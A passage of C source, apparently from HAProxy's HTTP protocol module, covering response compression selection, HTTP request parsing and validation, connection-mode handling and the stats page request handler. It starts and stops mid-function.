/* identity is implicit does not require headers */
if ((s->be->comp && (comp_algo_back = s->be->comp->algos)) || (s->fe->comp && (comp_algo_back = s->fe->comp->algos))) {
for (comp_algo = comp_algo_back; comp_algo; comp_algo = comp_algo->next) {
if (comp_algo->add_data == identity_add_data) {
s->comp_algo = comp_algo;
return 1;
}
}
}
s->comp_algo = NULL;
return 0;
}
/*
* Selects a comression algorithm depending of the server response.
*/
int select_compression_response_header(struct session *s, struct buffer *res)
{
struct http_txn *txn = &s->txn;
struct http_msg *msg = &txn->rsp;
struct hdr_ctx ctx;
struct comp_type *comp_type;
/* no common compression algorithm was found in request header */
if (s->comp_algo == NULL)
goto fail;
/* HTTP < 1.1 should not be compressed */
if (!(msg->flags & HTTP_MSGF_VER_11) || !(txn->req.flags & HTTP_MSGF_VER_11))
goto fail;
/* 200 only */
if (txn->status != 200)
goto fail;
/* Content-Length is null */
if (!(msg->flags & HTTP_MSGF_TE_CHNK) && msg->body_len == 0)
goto fail;
/* content is already compressed */
ctx.idx = 0;
if (http_find_header2("Content-Encoding", 16, res->p, &txn->hdr_idx, &ctx))
goto fail;
/* no compression when Cache-Control: no-transform is present in the message */
ctx.idx = 0;
while (http_find_header2("Cache-Control", 13, res->p, &txn->hdr_idx, &ctx)) {
if (word_match(ctx.line + ctx.val, ctx.vlen, "no-transform", 12))
goto fail;
}
comp_type = NULL;
/* we don't want to compress multipart content-types, nor content-types that are
* not listed in the "compression type" directive if any. If no content-type was
* found but configuration requires one, we don't compress either. Backend has
* the priority.
*/
ctx.idx = 0;
if (http_find_header2("Content-Type", 12, res->p, &txn->hdr_idx, &ctx)) {
if (ctx.vlen >= 9 && strncasecmp("multipart", ctx.line+ctx.val, 9) == 0)
goto fail;
if ((s->be->comp && (comp_type = s->be->comp->types)) ||
(s->fe->comp && (comp_type = s->fe->comp->types))) {
for (; comp_type; comp_type = comp_type->next) {
if (ctx.vlen >= comp_type->name_len &&
strncasecmp(ctx.line+ctx.val, comp_type->name, comp_type->name_len) == 0)
/* this Content-Type should be compressed */
break;
}
/* this Content-Type should not be compressed */
if (comp_type == NULL)
goto fail;
}
}
else { /* no content-type header */
if ((s->be->comp && s->be->comp->types) || (s->fe->comp && s->fe->comp->types))
goto fail; /* a content-type was required */
}
/* limit compression rate */
if (global.comp_rate_lim > 0)
if (read_freq_ctr(&global.comp_bps_in) > global.comp_rate_lim)
goto fail;
/* limit cpu usage */
if (idle_pct < compress_min_idle)
goto fail;
/* initialize compression */
if (s->comp_algo->init(&s->comp_ctx, global.tune.comp_maxlevel) < 0)
goto fail;
s->flags |= SN_COMP_READY;
/* remove Content-Length header */
ctx.idx = 0;
if ((msg->flags & HTTP_MSGF_CNT_LEN) && http_find_header2("Content-Length", 14, res->p, &txn->hdr_idx, &ctx))
http_remove_header2(msg, &txn->hdr_idx, &ctx);
/* add Transfer-Encoding header */
if (!(msg->flags & HTTP_MSGF_TE_CHNK))
http_header_add_tail2(&txn->rsp, &txn->hdr_idx, "Transfer-Encoding: chunked", 26);
/*
* Add Content-Encoding header when it's not identity encoding.
* RFC 2616 : Identity encoding: This content-coding is used only in the
* Accept-Encoding header, and SHOULD NOT be used in the Content-Encoding
* header.
*/
if (s->comp_algo->add_data != identity_add_data) {
trash.len = 18;
memcpy(trash.str, "Content-Encoding: ", trash.len);
memcpy(trash.str + trash.len, s->comp_algo->name, s->comp_algo->name_len);
trash.len += s->comp_algo->name_len;
trash.str[trash.len] = '\0';
http_header_add_tail2(&txn->rsp, &txn->hdr_idx, trash.str, trash.len);
}
return 1;
fail:
s->comp_algo = NULL;
return 0;
}
void http_adjust_conn_mode(struct session *s, struct http_txn *txn, struct http_msg *msg)
{
int tmp = TX_CON_WANT_KAL;
if (!((s->fe->options2|s->be->options2) & PR_O2_FAKE_KA)) {
if ((s->fe->options & PR_O_HTTP_MODE) == PR_O_HTTP_TUN ||
(s->be->options & PR_O_HTTP_MODE) == PR_O_HTTP_TUN)
tmp = TX_CON_WANT_TUN;
if ((s->fe->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL ||
(s->be->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL)
tmp = TX_CON_WANT_TUN;
}
if ((s->fe->options & PR_O_HTTP_MODE) == PR_O_HTTP_SCL ||
(s->be->options & PR_O_HTTP_MODE) == PR_O_HTTP_SCL) {
/* option httpclose + server_close => forceclose */
if ((s->fe->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL ||
(s->be->options & PR_O_HTTP_MODE) == PR_O_HTTP_PCL)
tmp = TX_CON_WANT_CLO;
else
tmp = TX_CON_WANT_SCL;
}
if ((s->fe->options & PR_O_HTTP_MODE) == PR_O_HTTP_FCL ||
(s->be->options & PR_O_HTTP_MODE) == PR_O_HTTP_FCL)
tmp = TX_CON_WANT_CLO;
if ((txn->flags & TX_CON_WANT_MSK) < tmp)
txn->flags = (txn->flags & ~TX_CON_WANT_MSK) | tmp;
if (!(txn->flags & TX_HDR_CONN_PRS) &&
(txn->flags & TX_CON_WANT_MSK) != TX_CON_WANT_TUN) {
/* parse the Connection header and possibly clean it */
int to_del = 0;
if ((msg->flags & HTTP_MSGF_VER_11) ||
((txn->flags & TX_CON_WANT_MSK) >= TX_CON_WANT_SCL &&
!((s->fe->options2|s->be->options2) & PR_O2_FAKE_KA)))
to_del |= 2; /* remove "keep-alive" */
if (!(msg->flags & HTTP_MSGF_VER_11))
to_del |= 1; /* remove "close" */
http_parse_connection_header(txn, msg, to_del);
}
/* check if client or config asks for explicit close in KAL/SCL */
if (((txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_KAL ||
(txn->flags & TX_CON_WANT_MSK) == TX_CON_WANT_SCL) &&
((txn->flags & TX_HDR_CONN_CLO) || /* "connection: close" */
(!(msg->flags & HTTP_MSGF_VER_11) && !(txn->flags & TX_HDR_CONN_KAL)) || /* no "connection: k-a" in 1.0 */
!(msg->flags & HTTP_MSGF_XFER_LEN) || /* no length known => close */
s->fe->state == PR_STSTOPPED)) /* frontend is stopping */
txn->flags = (txn->flags & ~TX_CON_WANT_MSK) | TX_CON_WANT_CLO;
}
/* This stream analyser waits for a complete HTTP request. It returns 1 if the
* processing can continue on next analysers, or zero if it either needs more
* data or wants to immediately abort the request (eg: timeout, error, ...). It
* is tied to AN_REQ_WAIT_HTTP and may may remove itself from s->req->analysers
* when it has nothing left to do, and may remove any analyser when it wants to
* abort.
*/
int http_wait_for_request(struct session *s, struct channel *req, int an_bit)
{
/*
* We will parse the partial (or complete) lines.
* We will check the request syntax, and also join multi-line
* headers. An index of all the lines will be elaborated while
* parsing.
*
* For the parsing, we use a 28 states FSM.
*
* Here is the information we currently have :
* req->buf->p = beginning of request
* req->buf->p + msg->eoh = end of processed headers / start of current one
* req->buf->p + req->buf->i = end of input data
* msg->eol = end of current header or line (LF or CRLF)
* msg->next = first non-visited byte
*
* At end of parsing, we may perform a capture of the error (if any), and
* we will set a few fields (txn->meth, sn->flags/SN_REDIRECTABLE).
* We also check for monitor-uri, logging, HTTP/0.9 to 1.0 conversion, and
* finally headers capture.
*/
int cur_idx;
int use_close_only;
struct http_txn *txn = &s->txn;
struct http_msg *msg = &txn->req;
struct hdr_ctx ctx;
DPRINTF(stderr,"[%u] %s: session=%p b=%p, exp(r,w)=%u,%u bf=%08x bh=%d analysers=%02x\n",
now_ms, __FUNCTION__,
s,
req,
req->rex, req->wex,
req->flags,
req->buf->i,
req->analysers);
/* we're speaking HTTP here, so let's speak HTTP to the client */
s->srv_error = http_return_srv_error;
/* There's a protected area at the end of the buffer for rewriting
* purposes. We don't want to start to parse the request if the
* protected area is affected, because we may have to move processed
* data later, which is much more complicated.
*/
if (buffer_not_empty(req->buf) && msg->msg_state < HTTP_MSG_ERROR) {
if (txn->flags & TX_NOT_FIRST) {
if (unlikely(!channel_reserved(req))) {
if (req->flags & (CF_SHUTW|CF_SHUTW_NOW|CF_WRITE_ERROR|CF_WRITE_TIMEOUT))
goto failed_keep_alive;
/* some data has still not left the buffer, wake us once that's done */
channel_dont_connect(req);
req->flags |= CF_READ_DONTWAIT; /* try to get back here ASAP */
req->flags |= CF_WAKE_WRITE;
return 0;
}
if (unlikely(bi_end(req->buf) < b_ptr(req->buf, msg->next) ||
bi_end(req->buf) > req->buf->data + req->buf->size - global.tune.maxrewrite))
buffer_slow_realign(req->buf);
}
/* Note that we have the same problem with the response ; we
* may want to send a redirect, error or anything which requires
* some spare space. So we'll ensure that we have at least
* maxrewrite bytes available in the response buffer before
* processing that one. This will only affect pipelined
* keep-alive requests.
*/
if ((txn->flags & TX_NOT_FIRST) &&
unlikely(!channel_reserved(s->rep) ||
bi_end(s->rep->buf) < b_ptr(s->rep->buf, txn->rsp.next) ||
bi_end(s->rep->buf) > s->rep->buf->data + s->rep->buf->size - global.tune.maxrewrite)) {
if (s->rep->buf->o) {
if (s->rep->flags & (CF_SHUTW|CF_SHUTW_NOW|CF_WRITE_ERROR|CF_WRITE_TIMEOUT))
goto failed_keep_alive;
/* don't let a connection request be initiated */
channel_dont_connect(req);
s->rep->flags &= ~CF_EXPECT_MORE; /* speed up sending a previous response */
s->rep->flags |= CF_WAKE_WRITE;
s->rep->analysers |= an_bit; /* wake us up once it changes */
return 0;
}
}
if (likely(msg->next < req->buf->i)) /* some unparsed data are available */
http_msg_analyzer(msg, &txn->hdr_idx);
}
/* 1: we might have to print this header in debug mode */
if (unlikely((global.mode & MODE_DEBUG) &&
(!(global.mode & MODE_QUIET) || (global.mode & MODE_VERBOSE)) &&
msg->msg_state >= HTTP_MSG_BODY)) {
char *eol, *sol;
sol = req->buf->p;
/* this is a bit complex : in case of error on the request line,
* we know that rq.l is still zero, so we display only the part
* up to the end of the line (truncated by debug_hdr).
*/
eol = sol + (msg->sl.rq.l ? msg->sl.rq.l : req->buf->i);
debug_hdr("clireq", s, sol, eol);
sol += hdr_idx_first_pos(&txn->hdr_idx);
cur_idx = hdr_idx_first_idx(&txn->hdr_idx);
while (cur_idx) {
eol = sol + txn->hdr_idx.v[cur_idx].len;
debug_hdr("clihdr", s, sol, eol);
sol = eol + txn->hdr_idx.v[cur_idx].cr + 1;
cur_idx = txn->hdr_idx.v[cur_idx].next;
}
}
/*
* Now we quickly check if we have found a full valid request.
* If not so, we check the FD and buffer states before leaving.
* A full request is indicated by the fact that we have seen
* the double LF/CRLF, so the state is >= HTTP_MSG_BODY. Invalid
* requests are checked first. When waiting for a second request
* on a keep-alive session, if we encounter and error, close, t/o,
* we note the error in the session flags but don't set any state.
* Since the error will be noted there, it will not be counted by
* process_session() as a frontend error.
* Last, we may increase some tracked counters' http request errors on
* the cases that are deliberately the client's fault. For instance,
* a timeout or connection reset is not counted as an error. However
* a bad request is.
*/
if (unlikely(msg->msg_state < HTTP_MSG_BODY)) {
/*
* First, let's catch bad requests.
*/
if (unlikely(msg->msg_state == HTTP_MSG_ERROR)) {
session_inc_http_req_ctr(s);
session_inc_http_err_ctr(s);
proxy_inc_fe_req_ctr(s->fe);
goto return_bad_req;
}
/* 1: Since we are in header mode, if there's no space
* left for headers, we won't be able to free more
* later, so the session will never terminate. We
* must terminate it now.
*/
if (unlikely(buffer_full(req->buf, global.tune.maxrewrite))) {
/* FIXME: check if URI is set and return Status
* 414 Request URI too long instead.
*/
session_inc_http_req_ctr(s);
session_inc_http_err_ctr(s);
proxy_inc_fe_req_ctr(s->fe);
if (msg->err_pos < 0)
msg->err_pos = req->buf->i;
goto return_bad_req;
}
/* 2: have we encountered a read error ? */
else if (req->flags & CF_READ_ERROR) {
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_CLICL;
if (txn->flags & TX_WAIT_NEXT_RQ)
goto failed_keep_alive;
/* we cannot return any message on error */
if (msg->err_pos >= 0) {
http_capture_bad_message(&s->fe->invalid_req, s, msg, msg->msg_state, s->fe);
session_inc_http_err_ctr(s);
}
txn->status = 400;
stream_int_retnclose(req->prod, NULL);
msg->msg_state = HTTP_MSG_ERROR;
req->analysers = 0;
session_inc_http_req_ctr(s);
proxy_inc_fe_req_ctr(s->fe);
s->fe->fe_counters.failed_req++;
if (s->listener->counters)
s->listener->counters->failed_req++;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_R;
return 0;
}
/* 3: has the read timeout expired ? */
else if (req->flags & CF_READ_TIMEOUT || tick_is_expired(req->analyse_exp, now_ms)) {
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_CLITO;
if (txn->flags & TX_WAIT_NEXT_RQ)
goto failed_keep_alive;
/* read timeout : give up with an error message. */
if (msg->err_pos >= 0) {
http_capture_bad_message(&s->fe->invalid_req, s, msg, msg->msg_state, s->fe);
session_inc_http_err_ctr(s);
}
txn->status = 408;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_408));
msg->msg_state = HTTP_MSG_ERROR;
req->analysers = 0;
session_inc_http_req_ctr(s);
proxy_inc_fe_req_ctr(s->fe);
s->fe->fe_counters.failed_req++;
if (s->listener->counters)
s->listener->counters->failed_req++;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_R;
return 0;
}
/* 4: have we encountered a close ? */
else if (req->flags & CF_SHUTR) {
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_CLICL;
if (txn->flags & TX_WAIT_NEXT_RQ)
goto failed_keep_alive;
if (msg->err_pos >= 0)
http_capture_bad_message(&s->fe->invalid_req, s, msg, msg->msg_state, s->fe);
txn->status = 400;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_400));
msg->msg_state = HTTP_MSG_ERROR;
req->analysers = 0;
session_inc_http_err_ctr(s);
session_inc_http_req_ctr(s);
proxy_inc_fe_req_ctr(s->fe);
s->fe->fe_counters.failed_req++;
if (s->listener->counters)
s->listener->counters->failed_req++;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_R;
return 0;
}
channel_dont_connect(req);
req->flags |= CF_READ_DONTWAIT; /* try to get back here ASAP */
s->rep->flags &= ~CF_EXPECT_MORE; /* speed up sending a previous response */
#ifdef TCP_QUICKACK
if (s->listener->options & LI_O_NOQUICKACK && req->buf->i && objt_conn(s->req->prod->end) && conn_ctrl_ready(__objt_conn(s->req->prod->end))) {
/* We need more data, we have to re-enable quick-ack in case we
* previously disabled it, otherwise we might cause the client
* to delay next data.
*/
setsockopt(__objt_conn(s->req->prod->end)->t.sock.fd, IPPROTO_TCP, TCP_QUICKACK, &one, sizeof(one));
}
#endif
if ((msg->msg_state != HTTP_MSG_RQBEFORE) && (txn->flags & TX_WAIT_NEXT_RQ)) {
/* If the client starts to talk, let's fall back to
* request timeout processing.
*/
txn->flags &= ~TX_WAIT_NEXT_RQ;
req->analyse_exp = TICK_ETERNITY;
}
/* just set the request timeout once at the beginning of the request */
if (!tick_isset(req->analyse_exp)) {
if ((msg->msg_state == HTTP_MSG_RQBEFORE) &&
(txn->flags & TX_WAIT_NEXT_RQ) &&
tick_isset(s->be->timeout.httpka))
req->analyse_exp = tick_add(now_ms, s->be->timeout.httpka);
else
req->analyse_exp = tick_add_ifset(now_ms, s->be->timeout.httpreq);
}
/* we're not ready yet */
return 0;
failed_keep_alive:
/* Here we process low-level errors for keep-alive requests. In
* short, if the request is not the first one and it experiences
* a timeout, read error or shutdown, we just silently close so
* that the client can try again.
*/
txn->status = 0;
msg->msg_state = HTTP_MSG_RQBEFORE;
req->analysers = 0;
s->logs.logwait = 0;
s->logs.level = 0;
s->rep->flags &= ~CF_EXPECT_MORE; /* speed up sending a previous response */
stream_int_retnclose(req->prod, NULL);
return 0;
}
/* OK now we have a complete HTTP request with indexed headers. Let's
* complete the request parsing by setting a few fields we will need
* later. At this point, we have the last CRLF at req->buf->data + msg->eoh.
* If the request is in HTTP/0.9 form, the rule is still true, and eoh
* points to the CRLF of the request line. msg->next points to the first
* byte after the last LF. msg->sov points to the first byte of data.
* msg->eol cannot be trusted because it may have been left uninitialized
* (for instance in the absence of headers).
*/
session_inc_http_req_ctr(s);
proxy_inc_fe_req_ctr(s->fe); /* one more valid request for this FE */
if (txn->flags & TX_WAIT_NEXT_RQ) {
/* kill the pending keep-alive timeout */
txn->flags &= ~TX_WAIT_NEXT_RQ;
req->analyse_exp = TICK_ETERNITY;
}
/* Maybe we found in invalid header name while we were configured not
* to block on that, so we have to capture it now.
*/
if (unlikely(msg->err_pos >= 0))
http_capture_bad_message(&s->fe->invalid_req, s, msg, msg->msg_state, s->fe);
/*
* 1: identify the method
*/
txn->meth = find_http_meth(req->buf->p, msg->sl.rq.m_l);
/* we can make use of server redirect on GET and HEAD */
if (txn->meth == HTTP_METH_GET || txn->meth == HTTP_METH_HEAD)
s->flags |= SN_REDIRECTABLE;
/*
* 2: check if the URI matches the monitor_uri.
* We have to do this for every request which gets in, because
* the monitor-uri is defined by the frontend.
*/
if (unlikely((s->fe->monitor_uri_len != 0) &&
(s->fe->monitor_uri_len == msg->sl.rq.u_l) &&
!memcmp(req->buf->p + msg->sl.rq.u,
s->fe->monitor_uri,
s->fe->monitor_uri_len))) {
/*
* We have found the monitor URI
*/
struct acl_cond *cond;
s->flags |= SN_MONITOR;
s->fe->fe_counters.intercepted_req++;
/* Check if we want to fail this monitor request or not */
list_for_each_entry(cond, &s->fe->mon_fail_cond, list) {
int ret = acl_exec_cond(cond, s->fe, s, txn, SMP_OPT_DIR_REQ|SMP_OPT_FINAL);
ret = acl_pass(ret);
if (cond->pol == ACL_COND_UNLESS)
ret = !ret;
if (ret) {
/* we fail this request, let's return 503 service unavail */
txn->status = 503;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_503));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_LOCAL; /* we don't want a real error here */
goto return_prx_cond;
}
}
/* nothing to fail, let's reply normaly */
txn->status = 200;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_200));
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_LOCAL; /* we don't want a real error here */
goto return_prx_cond;
}
/*
* 3: Maybe we have to copy the original REQURI for the logs ?
* Note: we cannot log anymore if the request has been
* classified as invalid.
*/
if (unlikely(s->logs.logwait & LW_REQ)) {
/* we have a complete HTTP request that we must log */
if ((txn->uri = pool_alloc2(pool2_requri)) != NULL) {
int urilen = msg->sl.rq.l;
if (urilen >= REQURI_LEN)
urilen = REQURI_LEN - 1;
memcpy(txn->uri, req->buf->p, urilen);
txn->uri[urilen] = 0;
if (!(s->logs.logwait &= ~(LW_REQ|LW_INIT)))
s->do_log(s);
} else {
Alert("HTTP logging : out of memory.\n");
}
}
/* 4. We may have to convert HTTP/0.9 requests to HTTP/1.0 */
if (unlikely(msg->sl.rq.v_l == 0) && !http_upgrade_v09_to_v10(txn))
goto return_bad_req;
/* ... and check if the request is HTTP/1.1 or above */
if ((msg->sl.rq.v_l == 8) &&
((req->buf->p[msg->sl.rq.v + 5] > '1') ||
((req->buf->p[msg->sl.rq.v + 5] == '1') &&
(req->buf->p[msg->sl.rq.v + 7] >= '1'))))
msg->flags |= HTTP_MSGF_VER_11;
/* "connection" has not been parsed yet */
txn->flags &= ~(TX_HDR_CONN_PRS | TX_HDR_CONN_CLO | TX_HDR_CONN_KAL | TX_HDR_CONN_UPG);
/* if the frontend has "option http-use-proxy-header", we'll check if
* we have what looks like a proxied connection instead of a connection,
* and in this case set the TX_USE_PX_CONN flag to use Proxy-connection.
* Note that this is *not* RFC-compliant, however browsers and proxies
* happen to do that despite being non-standard :-(
* We consider that a request not beginning with either '/' or '*' is
* a proxied connection, which covers both "scheme://location" and
* CONNECT ip:port.
*/
if ((s->fe->options2 & PR_O2_USE_PXHDR) &&
req->buf->p[msg->sl.rq.u] != '/' && req->buf->p[msg->sl.rq.u] != '*')
txn->flags |= TX_USE_PX_CONN;
/* transfer length unknown*/
msg->flags &= ~HTTP_MSGF_XFER_LEN;
/* 5: we may need to capture headers */
if (unlikely((s->logs.logwait & LW_REQHDR) && txn->req.cap))
capture_headers(req->buf->p, &txn->hdr_idx,
txn->req.cap, s->fe->req_cap);
/* 6: determine the transfer-length.
* According to RFC2616 #4.4, amended by the HTTPbis working group,
* the presence of a message-body in a REQUEST and its transfer length
* must be determined that way (in order of precedence) :
* 1. The presence of a message-body in a request is signaled by the
* inclusion of a Content-Length or Transfer-Encoding header field
* in the request's header fields. When a request message contains
* both a message-body of non-zero length and a method that does
* not define any semantics for that request message-body, then an
* origin server SHOULD either ignore the message-body or respond
* with an appropriate error message (e.g., 413). A proxy or
* gateway, when presented the same request, SHOULD either forward
* the request inbound with the message- body or ignore the
* message-body when determining a response.
*
* 2. If a Transfer-Encoding header field (Section 9.7) is present
* and the "chunked" transfer-coding (Section 6.2) is used, the
* transfer-length is defined by the use of this transfer-coding.
* If a Transfer-Encoding header field is present and the "chunked"
* transfer-coding is not present, the transfer-length is defined
* by the sender closing the connection.
*
* 3. If a Content-Length header field is present, its decimal value in
* OCTETs represents both the entity-length and the transfer-length.
* If a message is received with both a Transfer-Encoding header
* field and a Content-Length header field, the latter MUST be ignored.
*
* 4. By the server closing the connection. (Closing the connection
* cannot be used to indicate the end of a request body, since that
* would leave no possibility for the server to send back a response.)
*
* Whenever a transfer-coding is applied to a message-body, the set of
* transfer-codings MUST include "chunked", unless the message indicates
* it is terminated by closing the connection. When the "chunked"
* transfer-coding is used, it MUST be the last transfer-coding applied
* to the message-body.
*/
use_close_only = 0;
ctx.idx = 0;
/* set TE_CHNK and XFER_LEN only if "chunked" is seen last */
while ((msg->flags & HTTP_MSGF_VER_11) &&
http_find_header2("Transfer-Encoding", 17, req->buf->p, &txn->hdr_idx, &ctx)) {
if (ctx.vlen == 7 && strncasecmp(ctx.line + ctx.val, "chunked", 7) == 0)
msg->flags |= (HTTP_MSGF_TE_CHNK | HTTP_MSGF_XFER_LEN);
else if (msg->flags & HTTP_MSGF_TE_CHNK) {
/* bad transfer-encoding (chunked followed by something else) */
use_close_only = 1;
msg->flags &= ~(HTTP_MSGF_TE_CHNK | HTTP_MSGF_XFER_LEN);
break;
}
}
ctx.idx = 0;
while (!(msg->flags & HTTP_MSGF_TE_CHNK) && !use_close_only &&
http_find_header2("Content-Length", 14, req->buf->p, &txn->hdr_idx, &ctx)) {
signed long long cl;
if (!ctx.vlen) {
msg->err_pos = ctx.line + ctx.val - req->buf->p;
goto return_bad_req;
}
if (strl2llrc(ctx.line + ctx.val, ctx.vlen, &cl)) {
msg->err_pos = ctx.line + ctx.val - req->buf->p;
goto return_bad_req; /* parse failure */
}
if (cl < 0) {
msg->err_pos = ctx.line + ctx.val - req->buf->p;
goto return_bad_req;
}
if ((msg->flags & HTTP_MSGF_CNT_LEN) && (msg->chunk_len != cl)) {
msg->err_pos = ctx.line + ctx.val - req->buf->p;
goto return_bad_req; /* already specified, was different */
}
msg->flags |= HTTP_MSGF_CNT_LEN | HTTP_MSGF_XFER_LEN;
msg->body_len = msg->chunk_len = cl;
}
/* bodyless requests have a known length */
if (!use_close_only)
msg->flags |= HTTP_MSGF_XFER_LEN;
/* Until set to anything else, the connection mode is set as Keep-Alive. It will
* only change if both the request and the config reference something else.
* Option httpclose by itself sets tunnel mode where headers are mangled.
* However, if another mode is set, it will affect it (eg: server-close/
* keep-alive + httpclose = close). Note that we avoid to redo the same work
* if FE and BE have the same settings (common). The method consists in
* checking if options changed between the two calls (implying that either
* one is non-null, or one of them is non-null and we are there for the first
* time.
*/
if (!(txn->flags & TX_HDR_CONN_PRS) ||
((s->fe->options & PR_O_HTTP_MODE) != (s->be->options & PR_O_HTTP_MODE)))
http_adjust_conn_mode(s, txn, msg);
/* end of job, return OK */
req->analysers &= ~an_bit;
req->analyse_exp = TICK_ETERNITY;
return 1;
return_bad_req:
/* We centralize bad requests processing here */
if (unlikely(msg->msg_state == HTTP_MSG_ERROR) || msg->err_pos >= 0) {
/* we detected a parsing error. We want to archive this request
* in the dedicated proxy area for later troubleshooting.
*/
http_capture_bad_message(&s->fe->invalid_req, s, msg, msg->msg_state, s->fe);
}
txn->req.msg_state = HTTP_MSG_ERROR;
txn->status = 400;
stream_int_retnclose(req->prod, http_error_message(s, HTTP_ERR_400));
s->fe->fe_counters.failed_req++;
if (s->listener->counters)
s->listener->counters->failed_req++;
return_prx_cond:
if (!(s->flags & SN_ERR_MASK))
s->flags |= SN_ERR_PRXCOND;
if (!(s->flags & SN_FINST_MASK))
s->flags |= SN_FINST_R;
req->analysers = 0;
req->analyse_exp = TICK_ETERNITY;
return 0;
}
/* This function prepares an applet to handle the stats. It can deal with the
* "100-continue" expectation, check that admin rules are met for POST requests,
* and program a response message if something was unexpected. It cannot fail
* and always relies on the stats applet to complete the job. It does not touch
* analysers nor counters, which are left to the caller. It does not touch
* s->target which is supposed to already point to the stats applet. The caller
* is expected to have already assigned an appctx to the session.
*/
int http_handle_stats(struct session *s, struct channel *req)
{
struct stats_admin_rule *stats_admin_rule;
struct stream_interface *si = s->rep->prod;
struct http_txn *txn = &s->txn;
struct http_msg *msg = &txn->req;
struct uri_auth *uri_auth = s->be->uri_auth;
const char *uri, *h, *lookup;
struct appctx *appctx;
appctx = si_appctx(si);
memset(&appctx->ctx.stats, 0, sizeof(appctx->ctx.stats));
appctx->st1 = appctx->st2 = 0;
appctx->ctx.stats.st_code = STAT_STATUS_INIT;
appctx->ctx.stats.flags |= STAT_FMT_HTML; /* assume HTML mode by default */
if ((msg->flags & HTTP_MSGF_VER_11) && (s->txn.meth != HTTP_METH_HEAD))
appctx->ctx.stats.flags |= STAT_CHUNKED;
uri = msg->chn->buf->p + msg->sl.rq.u;
lookup = uri + uri_auth->uri_len;
for (h = lookup; h <= uri + msg->sl.rq.u_l - 3; h++) {
if (memcmp(h, ";up", 3) == 0) {
appctx->ctx.stats.flags |= STAT_HIDE_DOWN;
break;
}
}
if (uri_auth->refresh) {
for (h = lookup; h <= uri + msg->sl.rq.u_l - 10; h++) {
if (memcmp(h, ";norefresh", 10) == 0) {
appctx->ctx.stats.flags |= STAT_NO_REFRESH;
break;
}
}
}
for (h = lookup; h <= uri + msg->sl.rq.u_l - 4; h++) {
if (memcmp(h, ";csv", 4) == 0) {
appctx->ctx.stats.flags &= ~STAT_FMT_HTML;
break;
}
}
for (h = lookup; h <= uri + msg->sl.rq.u_l - 8; h++) {
if (memcmp(h, ";st=", 4) == 0) {
int i;
h += 4;
appctx->ctx.stats.st_code = STAT_STATUS_UNKN;
for (i = STAT_STATUS_INIT + 1; i < STAT_STATUS_SIZE; i++) {
if (strncmp(stat_status_codes[i], h, 4) == 0) {
appctx->ctx.stats.st_code = i;
break;
}
}
break;
}
}
appctx->ctx.stats.scope_str = 0;
appctx->ctx.stats.scope_len = 0;
for (h = lookup; h <= uri + msg->sl.rq.u_l - 8; h++) {
if (memcmp(h, STAT_SCOPE_INPUT_NAME "=", strlen(STAT_SCOPE_INPUT_NAME) + 1) == 0) {
int itx = 0;
const char *h2;
char scope_txt[STAT_SCOPE_TXT_MAXLEN + 1];
const char *err;
h += strlen(STAT_SCOPE_INPUT_NAME) + 1;
h2 = h;
appctx->ctx.stats.scope_str = h2 - msg->chn->buf->p;
while (*h != ';' && *h != '\0' && *h != '&' && *h != ' ' && *h != '\n') {
itx++;
h++;
}
if (itx > STAT_SCOPE_TXT_MAXLEN)
itx = STAT_SCOPE_TXT_MAXLEN;
appctx->ctx.stats.scope_len = itx;
/* scope_txt = search query, appctx->ctx.stats.scope_len is always <= STAT_SCOPE_TXT_MAXLEN */
memcpy(scope_txt, h2, itx);
scope_txt[itx] = '\0';
err = invalid_char(scope_txt);
if (err) {
/* bad char in search text => clear scope */
appctx->ctx.stats.scope_str = 0;
appctx->ctx.stats.scope_len = 0;
}
break;
}
}
/* now check whether we have some admin rules for this request */
list_for_each_entry(stats_admin_rule, &uri_auth->admin_rules, list) {
int ret = 1;
if (stats_admin_rule->cond) {
ret = acl_exec_cond(stats_admin_rule->cond, s->be, s, &s->txn, SMP_OPT_DIR_REQ|SMP_OPT_FINAL);
ret = acl_pass(ret);
if (stats_admin_rule->cond->pol == ACL_COND_UNLESS)
ret = !ret;
}
if (ret) {
/* no rule, or the rule matches */
appctx->ctx.stats.flags |= STAT_ADMIN;
break;
}
}
/* Was the status page requested with a POST ? */
if (unlikely(txn->meth == HTTP_METH_POST && txn->req.body_len > 0)) {
if (appctx->ctx.stats.flags & STAT_ADMIN) {
/* we'll need the request body, possibly after sending 100-continue */
req->analysers |= AN_REQ_HTTP_BODY;
appctx->st0 = STAT_HTTP_POST;
}
else {
appctx->ctx.stats.st_code = STAT_STATUS_DENY;
appctx->st0 = STAT_HTTP_LAST;
}
}
else {
/* So it was another method (GET/HEAD) */
appctx->st0 = STAT_HTTP_HEAD;
}
s->task->nice = -32; /* small boost for HTTP statistics */
return 1;
}
/* Sets the TOS header in IPv4 and the traffic class header in IPv6 packets
* (as per RFC3260 #4 and BCP37 #4.2 and #5.2).
*/
static inline void inet_set_tos(int fd, struct sockaddr_storage from, int tos)
{
#ifdef IP_TOS
if (from.ss_family == AF_INET)
setsockopt(fd, IPPROTO_IP, IP_TOS, &tos, sizeof(tos));
#endif
#ifdef IPV6_TCLASS
if (from.ss_family == AF_INET6) {
if (IN6_IS_ADDR_V4MAPPED(&((struct sockaddr_in6 *)&from)->sin6_addr))
/* v4-mapped addresses need IP_TOS */
setsockopt(fd, IPPROTO_IP, IP_TOS, &tos, sizeof(tos));
else
setsockopt(fd, IPPROTO_IPV6, IPV6_TCLASS, &tos, sizeof(tos));
}
#endif
}
/* Returns the number of characters written to destination,
* -1 on internal error and -2 if no replacement took place.
*/
static int http_replace_header(struct my_regex *re, char *dst, uint dst_size, char *val, int len,
const char *rep_str)
{
if (!regex_exec_match2(re, val, len, MAX_MATCH, pmatch))
